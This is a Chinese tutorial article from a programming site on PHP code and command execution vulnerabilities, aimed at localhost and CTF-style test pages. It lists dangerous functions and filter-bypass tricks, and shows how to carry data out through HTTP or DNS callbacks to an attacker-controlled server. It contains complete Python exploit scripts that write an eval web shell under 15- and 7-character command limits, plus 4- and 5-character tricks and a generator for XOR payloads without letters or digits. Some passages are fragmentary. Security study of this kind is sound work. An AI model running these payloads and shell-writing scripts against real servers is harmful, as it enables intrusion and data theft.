欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

PHP 代码/命令执行漏洞概述

最编程 2024-07-14 17:16:14
...

目录

0x00 代码执行相关函数

1.mixed eval(string code_str)

2.bool assert ( mixed $assertion [, string $description ] )

3.mixed call_user_func( callable $callback [, mixed $parameter [, mixed $... ]] )

4.mixed call_user_func_array( callable $callback , array $param_arr)

5.string create_function( string $args, string $code )

6.preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int$limit = -1 [, int&$count ]] )

7.array array_map( callable $callback , array $array1 [, array $... ] )

8.bool usort( array &$array , callable $value_compare_func)

9.bool uasort( array &$array , callable $value_compare_func)

10.${php代码}

0x01 命令执行相关函数

0x02 命令执行绕过技巧

绕过空格过滤的方法:

0x03 命令无回显的情况

#利用延时

#让目标服务器向我们的服务器发请求

#让目标服务器发送DNS请求

0x04 命令执行漏洞的利用方法

0x05 可控字符串长度受限情况下getshell

15个字符可控

7个字符可控:

5位可控字符:

4位可控字符:

0x06 无字母数字getshell


0x00 代码执行相关函数

由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器端执行。

代码/命令注入攻击中Web服务器没有过滤类似system(),eval(),exec()等函数的传入参数是该漏洞攻击成功的最主要原因。

代码注入相关函数:

1.mixed eval(string code_str)

eval() 把字符串作为PHP代码执行

code_str是PHP代码字符串

2.bool assert ( mixed $assertion [, string $description ] )

assert 检查一个断言是否为FALSE

assertion是字符串,它将会被当做PHP代码来执行

assert("system(pwd)");
echo "123";
assert("eval('echo 888;')");
echo "123";

3.mixed call_user_func( callable $callback [, mixed $parameter [, mixed $... ]] )

callback是将被调用的回调函数,parameter是0个或以上的参数,被传入回调函数。

可以传递任何内置的或者用户自定义的函数

除了array(),echo(),empty(),eval(),exit(),isset(),list(),print() 和unset()

虽然eval不能调用,但是可以通过assert来绕过该限制

同时system函数也是可以调用的

call_user_func("assert","eval('echo 123;')");
call_user_func("system","ifconfig");

4.mixed call_user_func_array( callable $callback , array $param_arr)

callback被调用的回调函数,param_arr要被传入回调函数的数组。

5.string create_function( string $args, string $code )

create_function—Create an anonymous (lambda-style)

functionargs是要创建的函数的参数,code是函数内的代码。

$func = create_function('$param','echo $param;');
$func("hello word");
$func2 = create_function('','phpinfo();');
$func2();

6.preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int$limit = -1 [, int&$count ]] )

执行一个正则表达式的搜索和替换

/e 修正符使preg_replace将replacement 参数当做PHP 代码

7.array array_map( callable $callback , array $array1 [, array $... ] )

 

array_map :为数组的每个元素应用回调函数

利用场景:

<?php
highlight_file(__FILE__);
$arr[0] = $_GET['b'];
$func = $_GET['a'];
$ret= array_map($func,$arr);

8.bool usort( array &$array , callable $value_compare_func)

usort 使用用户自定义的比较函数对数组中的值进行排序

<?php
highlight_file(__FILE__);
// var_dump($_GET);
var_dump(...$_GET);
usort(...$_GET);

9.bool uasort( array &$array , callable $value_compare_func)

uasort:使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

使用方法同上

10.${php代码}

${phpinfo()}; 也是可以执行的

0x01 命令执行相关函数

1.string system(string command, int &return_var)

可以用来执行系统命令并将相应的执行结果输出

2.string exec (string command, array &output, int &return_var)

command是要执行的命令,output是获得执行命令结果的全部内容,return_var存放执行命令后的状态值

该函数的返回值只是命令执行结果的最后一行内容。

如果你需要获取未经处理的全部输出数据, 请使用 passthru() 函数。

如果想要获取命令的输出的全部内容, 请确保使用 output 参数。

<?php
$ret = exec("ls",$output);
var_dump($ret); //返回值只是命令执行结果最后一行的内容
var_dump($output); //获取命令执行结果的全部内容

3.void passthru (string command, int &return_var)

直接执行并输出结果

command是要执行的命令,return_var存放执行命令后的状态值

4.string shell_exec (string command)

command是要执行的命令

5. `` 运算符

可以直接执行系统命令

<?php
$a = 'ifconfig';
echo `$a`;

6.bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

ob_start 打开输出控制缓冲

也就是说当执行echo 函数时,echo函数的参数会先传入ob_start执行的回调函数,

然后将回调函数的结果echo出来

<?php
ob_start('system');
echo "pwd";
ob_end_flush();

经试验:php7.3 该函数真实有效

0x02 命令执行绕过技巧

例如有这样一种情况

如何去实现命令执行?

利用系统分割符:

  1. 换行符 %0a
  2. 回车符 %0d(没成功)
  3. 连续指令 ;
  4. 后台进程 &
  5. 管道符 |
  6. (逻辑?)|| &&

上题可以使用的方式:

http://localhost:8888/xss/assert.php?a=%0apwd
http://localhost:8888/xss/assert.php?a=;pwd
http://localhost:8888/xss/assert.php?a=|pwd

绕过空格过滤的方法:

可以代替空格的符号:

<

${IFS}

%09 用于url传递,是\t的url编码

cat<index.html
cat${IFS}index.html
cat$IFS'index.html'
cat$IFS$1index.html
cat$IFS$2index.html
...

其他一些绕过思路:

1.命令拼接:

2.用base64对命令进行编码,然后在执行前对命令进行base64解码

反引号中的值会作为命令执行

3.substr string pos len

该表达式是从string中取出从pos位置开始长度为len的子字符串。如果pos 或len为非正整数时,将返回空字符串。

expr 是一个计算器,用于字符串可以抓取字符串的值

> expr substr “this is a test” 3 5
is is


/
echo "${PATH:0:1}”
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1

$PWD是从环境变量中读取

$(pwd)是一条命令

0x03 命令无回显的情况

判断命令是否执行方法:

延时

HTTP请求

DNS请求

#利用延时

ls|sleep 3

例如:

<?php
highlight_file(__FILE__);
exec("echo 123".$_GET['a']);

#让目标服务器向我们的服务器发请求

比如我们的服务器上用nc开一个端口

让目标服务器

用curl 我们的服务器地址:端口 去向我们的服务器发送一个http请求

如果命令成功执行,我们这边就能收到http请求

#让目标服务器发送DNS请求

可以让目标服务器用

nslookup  我们控制的dns服务器域名 

发送dns域名解析请求(可以用http://ceye.io的dns服务器

如果命令成功执行,这边就会收到dns请求

0x04 命令执行漏洞的利用方法

#写shell

#用http/dns等方式带出数据

可以用sed将文件中空格剔除掉,然后将文件内容拼接到ceye.io 给你分配的域名前,然后

ping这个域名,附带发出dns请求

结果:

局限性:文件内容不能太长

0x05 可控字符串长度受限情况下getshell

15个字符可控

思路:虽然限制了使用命令的字数,但是没有显示使用命令的次数

touch 1

然后将"<?php eval($_GET[1]);"分多次追加写入该文件

echo \<?php >1

echo 'eval'>>1

echo '($_GET'>>1

echo '[1])'>>1

echo ';'>>1

因为>>追加写会自动换行,所以每行必须确保关键字完整。

mv 1 1.php

一个简单的利用代码:

import requests 

base_url = "http://localhost:8888/loophole-recurrence/codeexe/15.php?1="

def split_list_by_n(list_collection, n):
    """按照长度分割字符串为数组"""
    arr = []
    for i in range(0, len(list_collection), n):
          arr.append(list_collection[i: i + n]) 
    return arr
    
def touchFile(filename):
    url = "%stouch %s"%(base_url,filename)
    requests.get(url)

def renameFile(filename):
    url = "%smv %s %s.php"%(base_url,filename,filename)
    requests.get(url)
    
def writePayload(payload,filename,limit_len):
    str = "echo ''>>%s"%(filename)
    base_len = len(str)
    if(base_len > limit_len):
        print("长度不够")
        exit(0)
    eff_len = limit_len-base_len
    payload_list = split_list_by_n(payload,eff_len)
    for p in payload_list:
        url = "%secho '%s'>>%s"%(base_url,p,filename)
        requests.get(url)
        
def writer(payload,limit_len):
    filename='1'
    touchFile(filename)
    writePayload(payload,filename,limit_len)
    renameFile(filename)
  

if __name__=='__main__':
    payload = "<?phpeval($_GET[1]);"
    writer(payload,15)
    

7个字符可控:

如果只有7个字符可控,那么用echo ''>> 这种写入文件的方法显然是不行的

必须寻找其他思路

思路:

除了touch 可以创建文件,直接用>文件名也可以创建文件,而且命令字符数更短

ls>文件名 则可以将当前目录下的所有文件名分行写入我们创建的文件

ls -t 基于时间排序,最新的文件排在最前面

sh 文件名 则会将文件中的内容做为shell代码来执行

长命令可以利用 \ 来换行分割

demo:

为了避免一些敏感字符的转义问题,可以使用base64先将payload编码

过程:

1.准备payload

2.将payload分割成数组,将该数组逆序调整一下(因为ls -t 是将最新创建的文件放在最前面)

3.遍历数组,发送创建文件的请求

4.发送创建shell脚本的请求

5.发送执行shell脚本的请求

一个更完善的利用脚本:

'''
Date: 2021-02-04 13:17:12
LastEditors: 无在无不在
LastEditTime: 2021-02-04 15:57:00
'''
import requests 
import base64

base_url = "http://localhost:8888/loophole-recurrence/codeexe/7.php?1="

def split_list_by_n(list_collection, n):
    """按照长度分割字符串为数组"""
    arr = []
    for i in range(0, len(list_collection), n):
          arr.append(list_collection[i: i + n]) 
    return arr
    
def touchFile(filename):
    url = "%stouch %s"%(base_url,filename)
    requests.get(url)

def renameFile(filename):
    url = "%smv %s %s.php"%(base_url,filename,filename)
    requests.get(url)

def writePayload(payload,filename,limit_len):
    str = "echo ''>>%s"%(filename)
    base_len = len(str)
    eff_len = limit_len-base_len
    payload_list = split_list_by_n(payload,eff_len)
    for p in payload_list:
        url = "%secho '%s'>>%s"%(base_url,p,filename)
        requests.get(url)

def createShellPayloadSliceList(php_payload,limit_len):
    """通过php_payload生成对应shell_payload切片数组"""
    base64_php_payload = base64.b64encode(php_payload.encode('utf-8')).decode("utf-8")
    sh_payload = "echo %s|base64 -d>2\.php"%(base64_php_payload)
    base_len = len(">''\\")
    eff_len = limit_len-base_len
    payload_list = split_list_by_n(sh_payload,eff_len)
    payload_list.reverse()
    return payload_list

def create_file_list(php_payload,limit_len):
    """将payload分割为文件列表"""
    payload_list = createShellPayloadSliceList(php_payload,limit_len)
    for i in range(len(payload_list)):  
        if(i!=0):
            url = "{base_url}>'{payload_slice}\\'".format(base_url=base_url,payload_slice=payload_list[i])
        else:
            url = "{base_url}>{payload_slice}".format(base_url=base_url,payload_slice=payload_list[i])
        requests.get(url)
def createShellScript(filename):
    """将文件列表写入sh脚本"""
    url = "{base_url}ls -t>{filename}".format(base_url=base_url,filename=filename)
    requests.get(url)

def executeShellScript(filename):
    """执行shell脚本"""
    url ="{base_url}sh {filename}".format(base_url=base_url,filename=filename)
    requests.get(url)

def slice_writer(payload,limit_len):
    """通过分割写的方法写入文件"""
    payload = payload.replace(" ","")
    filename='1'
    # 1.创建文件
    touchFile(filename)
    # 2.将payload切割,分多次写入文件
    writePayload(payload,filename,limit_len)
    # 3.将该文件重命名为php文件
    renameFile(filename)

def ls_writer(php_payload,limit_len):
    """通过ls的方法写入文件"""
    # 1.将payload切割,以切片为文件名生成一堆文件
    create_file_list(php_payload,limit_len)
    filename ='0'
    # 2.将一堆文件名写入一个shell文件
    createShellScript(filename)
    # 3.执行该shell文件,即执行payload
    executeShellScript(filename)

  

def main():
    limit_len = 7
    payload = "<?php eval($_GET[1]);"
    if(limit_len>=15):
        slice_writer(payload,limit_len)
    elif(limit_len>=7):
        ls_writer(payload,limit_len)
    else:
        pass

if __name__=='__main__':
    main()
    

脚本生成的shell文件 0

0
ech\
o P\
D9w\
aHA\
gZX\
Zhb\
Cgk\
X0d\
FVF\
sxX\
Sk7\
|ba\
se6\
4 -\
d>2\
\.p\
hp
exploite.py
7.php
15.php

5位可控字符:

因为ls -t>0 有7位,所以上述代码执行的最低要求:可控命令长度有7位

思路:通过追加写确保顺序

>ls\\

ls>a

>\ \\ 加一个空格

>-t\\

>\>0

ls>>a

4位可控字符:

ls -t >0

思路:

第一步:创建以下文件:


 

>dir
>f\>
>pt-
>sl

第二步

输入*>v,这样就会执行dir命令,并将结果写入v

第三步

>rev 创建rev文件

*v>0 这样就会执行 rev v>0 即:

sh 0 就会执行该代码

 为什么用dir而不用ls:

这就是用dir的原因

0x06 无字母数字getshell

核心思想:如何通过无字母数字来生成字母数字

将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符

例题:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long");
    }
    if(preg_match('/[A-Za-z0-9]+/',$code)){
        die("NO");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}

思路:

非字母、数字字符 的ascii码经过异或可以生成字母的ascii码

<?php
/*
 * @Date: 2021-02-06 14:22:10
 * @LastEditors: 无在无不在
 * @LastEditTime: 2021-02-06 14:43:46
 */
$a = '`~!@#$%^&*()_+{}:"|<>?.\,[]\'';
$AZ=[];
$az=[];
$digits=[];
for($i=0;$i<strlen($a);$i++){
    for($j=0;$j<strlen($a);$j++){
        $result = ord($a[$i]^$a[$j]);
        if($result>=ord('A')&&$result<=ord('Z')){
            $info = $a[$i].'xor'.$a[$j].'='.chr($result);
            $AZ[chr($result)][] = $info;
        }elseif($result>=ord('a')&&$reuslt<=ord('z')){
            $info = $a[$i].'xor'.$a[$j].'='.chr($result);
            $az[chr($result)][] = $info;
        }elseif($result>=ord('0')&&$result<=ord('9')){
            $info = $a[$i].'xor'.$a[$j].'='.chr($result);
            $digits[chr($result)][] = $info;
        }
    }
}
echo "<pre>";
var_dump($AZ);
var_dump($az);
var_dump($digits);
echo "</pre>";

一个简单的利用脚本:

<?php
$a = '`~!@#$%^()_+{}:"<>?.\,=[]';
$words=[];
for($i=0;$i<strlen($a);$i++){
    for($j=0;$j<strlen($a);$j++){
        $xor = ord($a[$i]^$a[$j]);
        if(($xor>=ord('A')&&$xor<=ord('Z'))
        ||($xor>=ord('a')&&$xor<=ord('z'))
        ||($xor>=ord('0')&&$xor<=ord('9'))){
            $words[chr($xor)][] = [$a[$i],$a[$j]];
        }
    }
}
function generatePayloads($str,$words){
    $right = '';
    $left ='';
    for($i=0;$i<strlen($str);$i++){
        $w = $str[$i];
        $right.=$words[$w][0][0];
        $left .=$words[$w][0][1];
    }
    return "'$right'^'$left'";
}
$ret = generatePayloads("getFlag",$words);
$base_url = 'http://127.0.0.1:8888/loophole-recurrence/CodeExe/eval.php?code=';
$payload = '$_='.$ret.';$_();';
$url = $base_url.$payload;
$resp = file_get_contents($url);
var_dump($resp);